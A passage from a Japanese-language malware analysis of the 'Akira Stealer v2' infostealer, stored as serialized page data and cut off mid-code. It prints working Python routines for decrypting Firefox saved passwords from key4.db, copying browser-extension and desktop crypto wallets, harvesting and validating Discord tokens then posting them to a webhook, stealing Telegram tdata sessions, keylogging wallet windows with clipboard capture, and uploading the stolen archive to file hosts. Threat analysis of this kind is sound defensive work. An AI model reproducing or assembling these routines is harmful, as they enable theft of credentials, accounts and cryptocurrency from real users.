Firefoxの復号",[526,7522,747],{},[526,7524,7525,7526,7529],{},"FirefoxのようなGeckoベースのブラウザーは、保存された認証情報とCookieを ",[578,7527,7528],{},"key4.db"," に保存されたマスター鍵で暗号化します。Akiraには、MozillaのNSSロジックを模した簡素化された復号ルーチンが含まれており、マスターパスワードのプロンプトを発生させずに3DESとAES-CBCの双方の方式を扱います。使用例は次のとおりです。",[616,7531,7533],{"className":4512,"code":7532,"language":4514,"meta":530,"style":530},"# Load global Salt and encrypted item from key4.db\ndb = sqlite3.connect(profile_path + \"/key4.db\")\ncursor = db.cursor()\ncursor.execute(\"SELECT item1, item2 FROM metadata WHERE id = 'password'\")\nglobal_salt, item2 = cursor.fetchone()\n\n# Decode DER structure and derive key\ndecoded, _ = der_decode(item2)\nentry_salt = decoded[0][1][0].asOctets()\ncipher_text = decoded[1].asOctets()\n# Derive 3DES key\nkey = derive_3des_key(global_salt, master_password, entry_salt)\niv = decoded[0][1][1].asOctets()\n# Decrypt credentials\ncipher = DES3.new(key, DES3.MODE_CBC, iv)\nclear_password = unpad(cipher.decrypt(cipher_text))\n\nprint(\"Decrypted Firefox password:\", clear_password)\n",[578,7534,7535,7540,7545,7550,7555,7560,7564,7569,7574,7579,7584,7589,7594,7599,7604,7609,7614,7618],{"__ignoreMap":530},[1707,7536,7537],{"class":1709,"line":1710},[1707,7538,7539],{},"# Load global Salt and encrypted item from key4.db\n",[1707,7541,7542],{"class":1709,"line":531},[1707,7543,7544],{},"db = sqlite3.connect(profile_path + \"/key4.db\")\n",[1707,7546,7547],{"class":1709,"line":2090},[1707,7548,7549],{},"cursor = db.cursor()\n",[1707,7551,7552],{"class":1709,"line":2096},[1707,7553,7554],{},"cursor.execute(\"SELECT item1, item2 FROM metadata WHERE id = 'password'\")\n",[1707,7556,7557],{"class":1709,"line":2419},[1707,7558,7559],{},"global_salt, item2 = cursor.fetchone()\n",[1707,7561,7562],{"class":1709,"line":2425},[1707,7563,3869],{"emptyLinePlaceholder":325},[1707,7565,7566],{"class":1709,"line":3077},[1707,7567,7568],{},"# Decode DER structure and derive key\n",[1707,7570,7571],{"class":1709,"line":3872},[1707,7572,7573],{},"decoded, _ = der_decode(item2)\n",[1707,7575,7576],{"class":1709,"line":3878},[1707,7577,7578],{},"entry_salt = decoded[0][1][0].asOctets()\n",[1707,7580,7581],{"class":1709,"line":4125},[1707,7582,7583],{},"cipher_text = decoded[1].asOctets()\n",[1707,7585,7586],{"class":1709,"line":5046},[1707,7587,7588],{},"# Derive 3DES key\n",[1707,7590,7591],{"class":1709,"line":5052},[1707,7592,7593],{},"key = derive_3des_key(global_salt, master_password, entry_salt)\n",[1707,7595,7596],{"class":1709,"line":5058},[1707,7597,7598],{},"iv = decoded[0][1][1].asOctets()\n",[1707,7600,7601],{"class":1709,"line":5064},[1707,7602,7603],{},"# Decrypt credentials\n",[1707,7605,7606],{"class":1709,"line":5070},[1707,7607,7608],{},"cipher = DES3.new(key, DES3.MODE_CBC, iv)\n",[1707,7610,7611],{"class":1709,"line":5076},[1707,7612,7613],{},"clear_password = unpad(cipher.decrypt(cipher_text))\n",[1707,7615,7616],{"class":1709,"line":5082},[1707,7617,3869],{"emptyLinePlaceholder":325},[1707,7619,7620],{"class":1709,"line":5088},[1707,7621,7622],{},"print(\"Decrypted Firefox password:\", clear_password)\n",[526,7624,7625,7626,647,7628,647,7630,7632],{},"このルーチンにより、Akiraは各Firefoxプロファイルの ",[578,7627,7023],{},[578,7629,7026],{},[578,7631,7029],{}," を透過的にダンプし、復号した出力を次の場所に書き込めます。",[616,7634,7637],{"className":7635,"code":7636,"language":621},[619],"Passwords/Firefox_\u003CProfileName> Passwords.txt\nCookies/Firefox_\u003CProfileName> Cookies.txt\nHistory/Firefox_\u003CProfileName> History.txt\n",[578,7638,7636],{"__ignoreMap":530},[526,7640,7641],{},"このアプローチはユーザーレベルのマスターパスワードのチェックを迂回し、保存されたすべての認証情報への無制限のアクセスをスティーラーに与えます。*",[526,7643,7644],{},[567,7645,7646],{},"4. ファイル構造と命名",[616,7648,7651],{"className":7649,"code":7650,"language":621,"meta":530},[619],"\u003CComputerName>.zip\n└── \u003CComputerName>\\\n    ├── Passwords\\\n    │   ├── Chrome Passwords.txt\n    │   ├── Edge Passwords.txt\n    │   └── …\n    ├── Cookies\\\n    │   ├── Chrome Cookies.txt\n    │   ├── Edge Cookies.txt\n    │   ├── user@example.com Google Session.txt\n    │   └── …\n    ├── CreditCards\\\n    │   ├── Chrome CreditCards.txt\n    │   └── …\n    ├── History\\\n    │   ├── Chrome History.txt\n    │   └── …\n    ├── Autofill\\\n    │   ├── Chrome Autofill.txt\n    │   └── …\n    └── Wallets\\\n        ├── Firefox_Default_profiles.zip\n        ├── Firefox_Profile1_profiles.zip\n        └── …\n",[578,7652,7650],{"__ignoreMap":530},[631,7654,7655,7669,7675],{},[634,7656,6508,7657,7660,7661,7664,7665,7668],{},[578,7658,7659],{},".txt"," は、一貫したヘッダー（",[578,7662,7663],{},"\u003C================[Akira Stealer v2]>================>","）と区切り線（",[578,7666,7667],{},"====…====","）で始まります。",[634,7670,7671,7672,2115],{},"ディスク上のZIP: ",[578,7673,7674],{},"%TEMP%\\\u003CComputerName>.zip",[634,7676,7677,7678,2115],{},"C&Cのファイル名ラベル: ",[578,7679,7680],{},"Akira-\u003Cusername>.zip",[526,7682,7683],{},[567,7684,7685],{},"5. 窃取とクリーンアップ",[616,7687,7689],{"className":4512,"code":7688,"language":4514,"meta":530,"style":530},"url = Webhook.uploadToGofile(zip_path)\nif not url:\n    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\nWebhook.sendDataTG(zip_path, chatId, startup)\nUtils.clear_client_folder()\n",[578,7690,7691,7696,7701,7706,7711],{"__ignoreMap":530},[1707,7692,7693],{"class":1709,"line":1710},[1707,7694,7695],{},"url = Webhook.uploadToGofile(zip_path)\n",[1707,7697,7698],{"class":1709,"line":531},[1707,7699,7700],{},"if not url:\n",[1707,7702,7703],{"class":1709,"line":2090},[1707,7704,7705],{},"    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n",[1707,7707,7708],{"class":1709,"line":2096},[1707,7709,7710],{},"Webhook.sendDataTG(zip_path, chatId, startup)\n",[1707,7712,7713],{"class":1709,"line":2419},[1707,7714,7715],{},"Utils.clear_client_folder()\n",[631,7717,7718,7728,7742,7759],{},[634,7719,7720,7723,7724,7727],{},[567,7721,7722],{},"主チャネル（GoFile.io）:"," マルウェアはまず、窃取した成果物をすべて含むZIPアーカイブをGoFile.ioにアップロードしようとし、JSONレスポンスを解析して、攻撃者にアーカイブへの直接アクセスを与える ",[578,7725,7726],{},"downloadPage"," URLを取り出します。",[634,7729,7730,7733,7734,7737,7738,7741],{},[567,7731,7732],{},"自動フォールバック:"," GoFileのエンドポイントが失敗した場合（ネットワークタイムアウト、レート制限など）、コードはシームレスに ",[578,7735,7736],{},"file.io"," にフォールバックし、それも空のリンクを返した場合は最終的に ",[578,7739,7740],{},"oshi.at"," にフォールバックします。いずれの代替も例外を発生させずに呼び出され、3つのサービスのいずれかが必ず順に試されるようになっています。",[634,7743,7744,7747,7748,7751,7752,647,7755,7758],{},[567,7745,7746],{},"Webhookによる報告:"," URL（あるいは失敗が続いた場合は空文字列）が確定すると、",[578,7749,7750],{},"Webhook.sendDataTG(...)"," が呼び出され、ダウンロードリンク、マシン識別子（",[578,7753,7754],{},"chatId",[578,7756,7757],{},"startup"," フラグ）、そしてすべてのカテゴリー件数（パスワード、Cookie、自動入力、ウォレット）を1つのDiscordまたはTelegramメッセージにまとめます。",[634,7760,7761,7764,7765,7768],{},[567,7762,7763],{},"即時のクリーンアップ:"," 報告の後、",[578,7766,7767],{},"Utils.clear_client_folder()"," が一時作業領域全体とZIPファイル自体を再帰的に削除し、収集したデータやアーカイブの痕跡をディスク上に一切残しません。",[848,7770,7771,7776],{},[526,7772,7773],{},[567,7774,7775],{},"障害への耐性:",[631,7777,7778,7785],{},[634,7779,7780,7781,7784],{},"すべてのアップロードルーチンは失敗時に例外を投げるのではなく ",[578,7782,7783],{},"\"\""," を返し、コードの流れが確実に継続するようにします。",[634,7786,7787],{},"すべてのサービスに到達できない場合でも、マルウェアはローカルの成果物を消去する前に（リンクが欠けた状態ではあれ）Webhookの報告を送信し、プロセスが予期せずクラッシュしない限りフォレンジック上の残留を最小化します。",[854,7789],{"className":7790},[857,858],[526,7792,7793],{},[567,7794,7795],{},"6. 堅牢性とエラー処理",[631,7797,7798,7815,7821,7830],{},[634,7799,7800,3278,7803,7806,7807,7810,7811,7814],{},[567,7801,7802],{},"きめ細かな例外処理:",[578,7804,7805],{},"shutil.copy","、SQLiteクエリ、ZIP操作など、あらゆるファイルシステムとのやり取りが ",[578,7808,7809],{},"try/except"," ブロックで包まれています。エラーが発生すると（DBのロック、権限拒否、不正なレコードなど）、例外は捕捉されて ",[578,7812,7813],{},"Akira.logErrorTg()"," 経由で記録され、実行は継続します。障害はその特定のファイルやモジュールに封じ込められます。",[634,7816,7817,7820],{},[567,7818,7819],{},"ブラウザーごとのスレッド分離:"," 対応する各ブラウザーの抽出ルーチンは、それぞれ独立したスレッドで動作します。このマルチスレッド設計により、あるブラウザーの抽出でのクラッシュやデッドロック（破損したプロファイル、鍵の欠落など）が、他のブラウザーの解析を止めたり遅らせたりしないようになっています。",[634,7822,7823,7826,7827,7829],{},[567,7824,7825],{},"静かなフォールバックと既定値:"," 代替のファイルホストへのアップロード、リモートリソースの確認、サブプロセスの起動といった多くの補助ルーチンは、表面的なアラートを出さずに入れ子の ",[578,7828,7809],{}," を用い、ステルス性を最大化します。既定値（空文字列、ブール値）は、流れを途切れさせず明白なエラー状態を取り除くように選ばれています。",[634,7831,7832,7835,7836,7839,7840,7843],{},[567,7833,7834],{},"ミューテックスと起動時のガード:"," 名前付きミューテックス（",[578,7837,7838],{},"1qsMlseJplTlArIF14f","）が多重起動を防ぎ、レジストリのチェックと ",[578,7841,7842],{},"Utils.CreateMutex()"," が同時実行を防ぐことで、実運用での配備時にさらなる安定性をもたらします。",[741,7845,7847],{"id":7846},"_78-ウォレットとトークンの窃取","7.8 ウォレットとトークンの窃取",[526,7849,747],{},[526,7851,7852],{},"このフェーズでAkira Stealer v2は、ブラウザー拡張機能、デスクトップウォレット、メッセージングのトークン、そしてライブのキーロギングにまたがって、暗号通貨の認証情報とセッショントークンに対する最も包括的な掃討を行います。並列スレッドで実行され、どの経路も取りこぼしません。以下は、コードに基づくステップバイステップの詳細な掘り下げです。",[889,7854,7856],{"id":7855},"_781-ブラウザー拡張機能のウォレット","7.8.1 ブラウザー拡張機能のウォレット",[526,7858,895],{},[526,7860,7861,7864],{},[567,7862,7863],{},"標的:"," MetaMask、Phantom、Trust Wallet、Coinbase Wallet、Solflare、Exodus、Binance Chain Wallet、Keplr、Nami、TronLink、Rabby、Talismanなど、主要なブラウザーにまたがる80を超える拡張機能。",[616,7866,7868],{"className":4512,"code":7867,"language":4514,"meta":530,"style":530},"# Hardcoded list of extension IDs and human-friendly names\nwalletsExtensions = [\n    [\"MetaMask\",        \"nkbihfbeogaeaoehlefnkodbefgpgknn\"],\n    [\"Phantom\",         \"bfnaelmomeimhlpmgjnjophhpkkoljpa\"],\n    [\"TrustWallet\",     \"egjidjbpglichdcondbcbdnbeeppgdph\"],\n    [\"CoinbaseWallet\",  \"hfhmhopkfngkjcalldmaepmpilmjjemb\"],\n    [\"Solflare\",        \"bhhhlbepdkbapadjdnnojkbgioiodbic\"],\n    [\"BinanceChain\",    \"fhbohimaelbohpjbbldcngcnapndodjp\"],\n    [\"Keplr\",           \"dmkamcknogkgcdfhhbddcghachkejeap\"],\n    [\"Nami\",            \"lpfcbjknijpeeillifnkikgncikgfhdo\"],\n    [\"Talisman\",        \"fijngjgcjhjmmpcmkeiomlglpeiijkld\"],\n    [\"TronLink\",        \"ibnejdfjmmkpcnlpebklmnkoeoihofec\"],\n    # ... plus dozens more mapped in code\n]\n# Extraction loop for each browser profile\nfor browser_name, (user_data, proc_name) in paths.items():\n    base = os.path.join(user_data, \"Default\", \"Local Extension Settings\")\n    for ext_name, ext_id in walletsExtensions:\n        src = os.path.join(base, ext_id)\n        if os.path.isdir(src):\n            dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", f\"{ext_name}_{browser_name}\")\n            shutil.copytree(src, dest, dirs_exist_ok=True)\n            data.ext_wallets_count += 1\n",[578,7869,7870,7875,7880,7885,7890,7895,7900,7905,7910,7915,7920,7925,7930,7935,7940,7945,7950,7955,7960,7965,7970,7975,7980],{"__ignoreMap":530},[1707,7871,7872],{"class":1709,"line":1710},[1707,7873,7874],{},"# Hardcoded list of extension IDs and human-friendly names\n",[1707,7876,7877],{"class":1709,"line":531},[1707,7878,7879],{},"walletsExtensions = [\n",[1707,7881,7882],{"class":1709,"line":2090},[1707,7883,7884],{},"    [\"MetaMask\",        \"nkbihfbeogaeaoehlefnkodbefgpgknn\"],\n",[1707,7886,7887],{"class":1709,"line":2096},[1707,7888,7889],{},"    [\"Phantom\",         \"bfnaelmomeimhlpmgjnjophhpkkoljpa\"],\n",[1707,7891,7892],{"class":1709,"line":2419},[1707,7893,7894],{},"    [\"TrustWallet\",     \"egjidjbpglichdcondbcbdnbeeppgdph\"],\n",[1707,7896,7897],{"class":1709,"line":2425},[1707,7898,7899],{},"    [\"CoinbaseWallet\",  \"hfhmhopkfngkjcalldmaepmpilmjjemb\"],\n",[1707,7901,7902],{"class":1709,"line":3077},[1707,7903,7904],{},"    [\"Solflare\",        \"bhhhlbepdkbapadjdnnojkbgioiodbic\"],\n",[1707,7906,7907],{"class":1709,"line":3872},[1707,7908,7909],{},"    [\"BinanceChain\",    \"fhbohimaelbohpjbbldcngcnapndodjp\"],\n",[1707,7911,7912],{"class":1709,"line":3878},[1707,7913,7914],{},"    [\"Keplr\",           \"dmkamcknogkgcdfhhbddcghachkejeap\"],\n",[1707,7916,7917],{"class":1709,"line":4125},[1707,7918,7919],{},"    [\"Nami\",            \"lpfcbjknijpeeillifnkikgncikgfhdo\"],\n",[1707,7921,7922],{"class":1709,"line":5046},[1707,7923,7924],{},"    [\"Talisman\",        \"fijngjgcjhjmmpcmkeiomlglpeiijkld\"],\n",[1707,7926,7927],{"class":1709,"line":5052},[1707,7928,7929],{},"    [\"TronLink\",        \"ibnejdfjmmkpcnlpebklmnkoeoihofec\"],\n",[1707,7931,7932],{"class":1709,"line":5058},[1707,7933,7934],{},"    # ... plus dozens more mapped in code\n",[1707,7936,7937],{"class":1709,"line":5064},[1707,7938,7939],{},"]\n",[1707,7941,7942],{"class":1709,"line":5070},[1707,7943,7944],{},"# Extraction loop for each browser profile\n",[1707,7946,7947],{"class":1709,"line":5076},[1707,7948,7949],{},"for browser_name, (user_data, proc_name) in paths.items():\n",[1707,7951,7952],{"class":1709,"line":5082},[1707,7953,7954],{},"    base = os.path.join(user_data, \"Default\", \"Local Extension Settings\")\n",[1707,7956,7957],{"class":1709,"line":5088},[1707,7958,7959],{},"    for ext_name, ext_id in walletsExtensions:\n",[1707,7961,7962],{"class":1709,"line":5094},[1707,7963,7964],{},"        src = os.path.join(base, ext_id)\n",[1707,7966,7967],{"class":1709,"line":5100},[1707,7968,7969],{},"        if os.path.isdir(src):\n",[1707,7971,7972],{"class":1709,"line":5106},[1707,7973,7974],{},"            dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", f\"{ext_name}_{browser_name}\")\n",[1707,7976,7977],{"class":1709,"line":5112},[1707,7978,7979],{},"            shutil.copytree(src, dest, dirs_exist_ok=True)\n",[1707,7981,7982],{"class":1709,"line":5118},[1707,7983,7984],{},"            data.ext_wallets_count += 1\n",[631,7986,7987,7993],{},[634,7988,7989,7992],{},[567,7990,7991],{},"コピーされるファイル",": 暗号化された鍵、シードフレーズ、ログイン認証情報を含む、拡張機能固有のIndexedDB、LevelDB、JSON、設定ファイル。",[634,7994,7995,1002,7998,647,8001,8004],{},[567,7996,7997],{},"出力先フォルダー",[578,7999,8000],{},"Wallets/MetaMask_Chrome/",[578,8002,8003],{},"Wallets/Phantom_Edge/"," など。",[889,8006,8008],{"id":8007},"_782-デスクトップウォレットアプリケーション","7.8.2 デスクトップウォレットアプリケーション",[526,8010,895],{},[526,8012,8013,8015],{},[567,8014,7863],{}," Electrum、Exodus、Atomic Wallet、Guarda、Rabby、Coinomi、Zcash、Armory、Bytecoin、Jaxx、Coinomiなど、主要なデスクトップクライアント。",[616,8017,8019],{"className":4512,"code":8018,"language":4514,"meta":530,"style":530},"walletsDesktop = [\n    [\"Electrum\",     os.path.join(os.getenv('APPDATA'), \"Electrum\", \"wallets\")],\n    [\"Exodus\",       os.path.join(os.getenv('APPDATA'), \"Exodus\", \"exodus.wallet\")],\n    [\"AtomicWallet\", os.path.join(os.getenv('LOCALAPPDATA'), \"atomic\", \"Local Storage\", \"leveldb\")],\n    [\"Guarda\",       os.path.join(os.getenv('APPDATA'), \"Guarda\", \"Local Storage\", \"leveldb\")],\n    [\"Rabby\",        os.path.join(os.getenv('APPDATA'), \"rabby-desktop\")],\n    [\"Coinomi\",      os.path.join(os.getenv('APPDATA'), \"Coinomi\", \"wallets\")],\n]\nfor name, path in walletsDesktop:\n    if os.path.isdir(path):\n        Utils.TaskKill(name.lower())\n        dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", name)\n        shutil.copytree(path, dest, dirs_exist_ok=True)\n        data.desktop_wallets_count += 1\n",[578,8020,8021,8026,8031,8036,8041,8046,8051,8056,8060,8065,8070,8075,8080,8085],{"__ignoreMap":530},[1707,8022,8023],{"class":1709,"line":1710},[1707,8024,8025],{},"walletsDesktop = [\n",[1707,8027,8028],{"class":1709,"line":531},[1707,8029,8030],{},"    [\"Electrum\",     os.path.join(os.getenv('APPDATA'), \"Electrum\", \"wallets\")],\n",[1707,8032,8033],{"class":1709,"line":2090},[1707,8034,8035],{},"    [\"Exodus\",       os.path.join(os.getenv('APPDATA'), \"Exodus\", \"exodus.wallet\")],\n",[1707,8037,8038],{"class":1709,"line":2096},[1707,8039,8040],{},"    [\"AtomicWallet\", os.path.join(os.getenv('LOCALAPPDATA'), \"atomic\", \"Local Storage\", \"leveldb\")],\n",[1707,8042,8043],{"class":1709,"line":2419},[1707,8044,8045],{},"    [\"Guarda\",       os.path.join(os.getenv('APPDATA'), \"Guarda\", \"Local Storage\", \"leveldb\")],\n",[1707,8047,8048],{"class":1709,"line":2425},[1707,8049,8050],{},"    [\"Rabby\",        os.path.join(os.getenv('APPDATA'), \"rabby-desktop\")],\n",[1707,8052,8053],{"class":1709,"line":3077},[1707,8054,8055],{},"    [\"Coinomi\",      os.path.join(os.getenv('APPDATA'), \"Coinomi\", \"wallets\")],\n",[1707,8057,8058],{"class":1709,"line":3872},[1707,8059,7939],{},[1707,8061,8062],{"class":1709,"line":3878},[1707,8063,8064],{},"for name, path in walletsDesktop:\n",[1707,8066,8067],{"class":1709,"line":4125},[1707,8068,8069],{},"    if os.path.isdir(path):\n",[1707,8071,8072],{"class":1709,"line":5046},[1707,8073,8074],{},"        Utils.TaskKill(name.lower())\n",[1707,8076,8077],{"class":1709,"line":5052},[1707,8078,8079],{},"        dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", name)\n",[1707,8081,8082],{"class":1709,"line":5058},[1707,8083,8084],{},"        shutil.copytree(path, dest, dirs_exist_ok=True)\n",[1707,8086,8087],{"class":1709,"line":5064},[1707,8088,8089],{},"        data.desktop_wallets_count += 1\n",[631,8091,8092,8105],{},[634,8093,8094,8097,8098,647,8101,8104],{},[567,8095,8096],{},"窃取されるデータ",": キーストアファイル（",[578,8099,8100],{},"*.dat",[578,8102,8103],{},"*.json","）、秘密鍵のエクスポート、ウォレットの設定、取引履歴。",[634,8106,8107,8110],{},[567,8108,8109],{},"利点",": 攻撃者が取引を承認するのに使える、オフラインのウォレットの内容。",[889,8112,8114],{"id":8113},"_783-discordトークンの収集","7.8.3 Discordトークンの収集",[526,8116,895],{},[526,8118,8119],{},"Discordトークンは認証の成果物であり、本質的には長寿命のベアラートークンです。ユーザーの認証情報やMFAを必要とせずにアカウントへの完全なアクセスを与えてしまいます。Akiraはこれを悪用し、Discord Stable、Canary、PTB（Public Test Build）、さらにはLightcordのような改変フォークを含むさまざまなDiscordクライアントが保存したトークンを求めて、ブラウザーやアプリのデータフォルダーを走査します。",[526,8121,8122],{},"この手法は、アプリケーションのLocal Storage配下のLevelDBファイルを標的にします。認証トークンはそこに平文のまま残っていることがよくあります。正規表現を使って、これらの.logファイルと.ldbファイルを走査し、通常のユーザートークンまたはMFA有効のトークンに一致するパターンを探します。",[526,8124,8125],{},"信頼性を高めノイズを減らすため、Akiraには検証のステップが含まれています。収集した各トークンを使ってDiscordの/users/@meエンドポイントにテストリクエストを送るのです。認証に成功（HTTP 200）したトークンだけが、Webhook経由で（通常は攻撃者が管理するDiscordチャネルへ）窃取されます。",[526,8127,8128],{},"この方法により、攻撃者はDiscordアカウントをリアルタイムに乗っ取り、被害者になりすまし、DMやサーバーを収集し、あるいはソーシャルエンジニアリングを通じてさらなるマルウェアを配備できます。しかもログインのアラートを一切発生させません。",[616,8130,8132],{"className":4512,"code":8131,"language":4514,"meta":530,"style":530},"import re, requests\npatterns = [\n    r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27,100}\",  # User tokens\n    r\"mfa\\.[\\w-]{84,100}\"                      # MFA tokens\n]\ndef harvest_discord(base, webhook_url):\n    db_dir = os.path.join(base, \"Local Storage\", \"leveldb\")\n    for file in os.listdir(db_dir):\n        if file.endswith(('.log', '.ldb')):\n            for line in open(os.path.join(db_dir, file), errors='ignore'):\n                for pat in patterns:\n                    for token in re.findall(pat, line):\n                        # Verify token\n                        h = {\"Authorization\": token}\n                        r = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=h)\n                        if r.status_code == 200:\n                            uname = r.json()[\"username\"] + \"#\" + r.json()[\"discriminator\"]\n                            payload = {\"content\": f\"**Discord** {uname}: `{token}`\"}\n                            requests.post(webhook_url, json=payload)\n",[578,8133,8134,8139,8144,8149,8154,8158,8163,8168,8173,8178,8183,8188,8193,8198,8203,8208,8213,8218,8223],{"__ignoreMap":530},[1707,8135,8136],{"class":1709,"line":1710},[1707,8137,8138],{},"import re, requests\n",[1707,8140,8141],{"class":1709,"line":531},[1707,8142,8143],{},"patterns = [\n",[1707,8145,8146],{"class":1709,"line":2090},[1707,8147,8148],{},"    r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27,100}\",  # User tokens\n",[1707,8150,8151],{"class":1709,"line":2096},[1707,8152,8153],{},"    r\"mfa\\.[\\w-]{84,100}\"                      # MFA tokens\n",[1707,8155,8156],{"class":1709,"line":2419},[1707,8157,7939],{},[1707,8159,8160],{"class":1709,"line":2425},[1707,8161,8162],{},"def harvest_discord(base, webhook_url):\n",[1707,8164,8165],{"class":1709,"line":3077},[1707,8166,8167],{},"    db_dir = os.path.join(base, \"Local Storage\", \"leveldb\")\n",[1707,8169,8170],{"class":1709,"line":3872},[1707,8171,8172],{},"    for file in os.listdir(db_dir):\n",[1707,8174,8175],{"class":1709,"line":3878},[1707,8176,8177],{},"        if file.endswith(('.log', '.ldb')):\n",[1707,8179,8180],{"class":1709,"line":4125},[1707,8181,8182],{},"            for line in open(os.path.join(db_dir, file), errors='ignore'):\n",[1707,8184,8185],{"class":1709,"line":5046},[1707,8186,8187],{},"                for pat in patterns:\n",[1707,8189,8190],{"class":1709,"line":5052},[1707,8191,8192],{},"                    for token in re.findall(pat, line):\n",[1707,8194,8195],{"class":1709,"line":5058},[1707,8196,8197],{},"                        # Verify token\n",[1707,8199,8200],{"class":1709,"line":5064},[1707,8201,8202],{},"                        h = {\"Authorization\": token}\n",[1707,8204,8205],{"class":1709,"line":5070},[1707,8206,8207],{},"                        r = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=h)\n",[1707,8209,8210],{"class":1709,"line":5076},[1707,8211,8212],{},"                        if r.status_code == 200:\n",[1707,8214,8215],{"class":1709,"line":5082},[1707,8216,8217],{},"                            uname = r.json()[\"username\"] + \"#\" + r.json()[\"discriminator\"]\n",[1707,8219,8220],{"class":1709,"line":5088},[1707,8221,8222],{},"                            payload = {\"content\": f\"**Discord** {uname}: `{token}`\"}\n",[1707,8224,8225],{"class":1709,"line":5094},[1707,8226,8227],{},"                            requests.post(webhook_url, json=payload)\n",[631,8229,8230],{},[634,8231,8232,8235],{},[567,8233,8234],{},"検証",": 有効なトークンのみを送信し、失効したJWTが送られるのを防ぎます。",[889,8237,8239],{"id":8238},"_784-telegramのセッションファイル","7.8.4 Telegramのセッションファイル",[526,8241,895],{},[526,8243,8244,8246],{},[567,8245,7863],{}," Telegram Desktop/TData",[616,8248,8250],{"className":4512,"code":8249,"language":4514,"meta":530,"style":530},"def steal_telegram(tdata_path, dest_root):\n    if os.path.exists(tdata_path):\n        Utils.TaskKill(\"telegram.exe\")\n        dest = os.path.join(dest_root, \"Wallets\", \"Telegram\")\n        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)\n        data.has_telegram = True\n",[578,8251,8252,8257,8262,8267,8272,8277],{"__ignoreMap":530},[1707,8253,8254],{"class":1709,"line":1710},[1707,8255,8256],{},"def steal_telegram(tdata_path, dest_root):\n",[1707,8258,8259],{"class":1709,"line":531},[1707,8260,8261],{},"    if os.path.exists(tdata_path):\n",[1707,8263,8264],{"class":1709,"line":2090},[1707,8265,8266],{},"        Utils.TaskKill(\"telegram.exe\")\n",[1707,8268,8269],{"class":1709,"line":2096},[1707,8270,8271],{},"        dest = os.path.join(dest_root, \"Wallets\", \"Telegram\")\n",[1707,8273,8274],{"class":1709,"line":2419},[1707,8275,8276],{},"        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)\n",[1707,8278,8279],{"class":1709,"line":2425},[1707,8280,8281],{},"        data.has_telegram = True\n",[631,8283,8284,8298],{},[634,8285,8286,8289,8290,8293,8294,8297],{},[567,8287,8288],{},"ファイル",": セッションキーを含む ",[578,8291,8292],{},"tdata"," フォルダー、secret／unsecretファイルを含む ",[578,8295,8296],{},"D877F..."," フォルダー。",[634,8299,8300,8303],{},[567,8301,8302],{},"用途",": 攻撃者のTelegramクライアントに読み込ませ、アカウントへ完全にアクセスする。",[889,8305,8307],{"id":8306},"_785-ウォレットのライブキーロギング","7.8.5 ウォレットのライブキーロギング",[526,8309,895],{},[526,8311,8312],{},"暗号通貨ウォレットは、現代の情報窃取ツールにとって格好の標的です。Akiraには、シードフレーズ、秘密鍵、パスワードといったウォレットの認証情報を入力の瞬間に盗むことに特化したライブキーロガーが含まれています。汎用のキーロガーと異なり、これは既知のウォレットウィンドウを検出したときにのみ起動するため、ノイズを劇的に減らし効率を高めます。",[526,8314,8315],{},"このモジュールは、アクティブなウィンドウのタイトルを監視し、MetaMask、Phantom、Atomic Walletなどの人気のウォレットアプリのハードコードされたリストと照合します。一致するウィンドウがフォーカスされると、システム全体のキーボードフックを介してキー入力の記録を開始します。ユーザーがEnterを押すと、モジュールはただちに現在のクリップボードの内容を捕捉し（ユーザーはウォレットのセットアップやログイン時に秘密をコピーすることが多いと知っているためです）、入力された内容とクリップボードのデータの両方を攻撃者のWebhookに送ります。このアプローチは2つの攻撃経路を組み合わせるため、きわめて効果的です。",[631,8317,8318,8321],{},[634,8319,8320],{},"文脈を認識したキーロギング。関連する場合にのみ機微なウォレット入力を捕捉します。",[634,8322,8323],{},"クリップボードの乗っ取り。コピーされた復元フレーズや送金先アドレスが貼り付けられる前に抽出します。",[526,8325,8326],{},"これらの手法を合わせることで、攻撃者はブラウザーへのアクセスやファイルの窃取がなくても、リアルタイムに静かにウォレットを侵害できます。",[616,8328,8330],{"className":4512,"code":8329,"language":4514,"meta":530,"style":530},"import keyboard, pyperclip\n\nclass WalletKeylogger:\n    def __init__(self, wallet_titles):\n        self.buf = \"\"\n        keyboard.on_release(self.capture)\n        self.wallet_titles = wallet_titles\n\n    def capture(self, event):\n        title = pygetwindow.getActiveWindow().title\n        if any(w in title for w in self.wallet_titles):\n            if event.name == 'enter':\n                data = f\"Keys:{self.buf}\\nClip:{pyperclip.paste()}\"\n                send_to_webhook(data)\n                self.buf = \"\"\n            else:\n                self.buf += event.name\n",[578,8331,8332,8337,8341,8346,8351,8356,8361,8366,8370,8375,8380,8385,8390,8395,8400,8405,8410],{"__ignoreMap":530},[1707,8333,8334],{"class":1709,"line":1710},[1707,8335,8336],{},"import keyboard, pyperclip\n",[1707,8338,8339],{"class":1709,"line":531},[1707,8340,3869],{"emptyLinePlaceholder":325},[1707,8342,8343],{"class":1709,"line":2090},[1707,8344,8345],{},"class WalletKeylogger:\n",[1707,8347,8348],{"class":1709,"line":2096},[1707,8349,8350],{},"    def __init__(self, wallet_titles):\n",[1707,8352,8353],{"class":1709,"line":2419},[1707,8354,8355],{},"        self.buf = \"\"\n",[1707,8357,8358],{"class":1709,"line":2425},[1707,8359,8360],{},"        keyboard.on_release(self.capture)\n",[1707,8362,8363],{"class":1709,"line":3077},[1707,8364,8365],{},"        self.wallet_titles = wallet_titles\n",[1707,8367,8368],{"class":1709,"line":3872},[1707,8369,3869],{"emptyLinePlaceholder":325},[1707,8371,8372],{"class":1709,"line":3878},[1707,8373,8374],{},"    def capture(self, event):\n",[1707,8376,8377],{"class":1709,"line":4125},[1707,8378,8379],{},"        title = pygetwindow.getActiveWindow().title\n",[1707,8381,8382],{"class":1709,"line":5046},[1707,8383,8384],{},"        if any(w in title for w in self.wallet_titles):\n",[1707,8386,8387],{"class":1709,"line":5052},[1707,8388,8389],{},"            if event.name == 